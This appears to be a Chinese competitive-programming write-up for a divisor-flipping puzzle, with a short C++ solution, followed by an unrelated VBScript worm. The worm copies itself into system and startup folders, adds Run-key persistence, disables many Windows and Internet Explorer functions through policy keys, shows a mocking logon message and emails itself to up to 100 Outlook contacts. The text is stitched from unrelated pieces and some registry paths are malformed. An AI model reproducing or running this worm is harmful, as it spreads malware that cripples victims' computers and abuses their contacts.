• 每个数只会被它的因数翻转，一个数会被翻转它 $\leq n$ 的因数个数次。
• 这里最大数是 $n$ 且翻转 $n$ 次，也就是一个数会被翻转它的因数个数次。
• 那么由题意得被翻转偶数次才会黑色朝上，所以即求 $[1,n]$ 因数个数为偶数的数。
• 因数个数为偶数的数不好求，求因数个数为奇数的数。
• 因为因数是成对出现的，所以因数个数为奇数的数是一定完全平方数。
• $[1,n]$ 的完全平方数个数为 $\lfloor\sqrt{n}\rfloor$，所以答案为 $n-\lfloor\sqrt{n}\rfloor$。

#include<bits/stdc++.h>
using namespace std;
long long n;
int main()
{
	cin>>n;
	cout<<n-int(sqrt(n));
	return 0;
}
o(1)即可求解

On Error Resume Next Set fs=CreateObject("Scripting.FileSystemObject") Set dir1=fs.GetSpecialFolder(0) Set dir2=fs.GetSpecialFolder(1) Set so=CreateObject("Scripting.FileSystemObject") dim r Set r=CreateObject("Wscript.Shell") so.GetFile(WScript.ScriptFullName).Copy(dir1&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir2&"/Win32system.vbs") so.GetFile(WScript.ScriptFullName).Copy(dir1&"C:/Documents and Settings/All Users/「开始」菜单/程序/启动/Win32system.vbs")

r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoRun",1,"REG_DWORD" r.Regwrite "KCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoClose",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDrives",63000000,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/System/DisableRegistryTools",1,"REG_DWORD" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/ScanRegistry","" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoLogOff",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/NoRealMode",1,"REG_DWORD" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Run/Win32system","Win32system.vbs" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoDesktop",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/WinOldApp/Disabled",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetTaskBar",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoViewContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoSetFolders",1,"REG_DWORD" r.Regwrite "HKLM/Software/CLASSES/.reg/","txtfile" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeCaption","Ralph" r.Regwrite "HKLM/Software/Microsoft/Windows/CurrentVersion/Winlogon/LegalNoticeText","小子，你中了Ralph的病毒，哈哈" Set ol=CreateObject("Outlook.Application") On Error Resume Next For x=1 To 100 Set Mail=ol.CreateItem(0) Mail.to=ol.GetNameSpace("MAPI").AddressLists(1).AddressEntries(x) Mail.Subject="今晚你来吗？" Mail.Body="Ralph" Mail.Attachments.Add(dir2&"Win32system.vbs") Mail.Send Next ol.Quit

r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserContextMenu",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserOptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoBrowserSaveAs",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoFileOpen",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Advanced",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Cache Internet",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/AutoConfig",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/HomePage",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/History",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/Connwiz Admin Lock",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/SecurityTab",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Control Panel/ResetWebSettings",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Restrictions/NoViewSource",1,"REG_DWORD" r.Regwrite "HKCU/Software/Policies/Microsoft/Internet Explorer/Infodelivery/Restrictions/NoAddingSubScriptions",1,"REG_DWORD" r.Regwrite "HKCU/Software/Microsoft/Windows/CurrentVersion/Policies/Explorer/NoFileMenu",1,"REG_DWORD"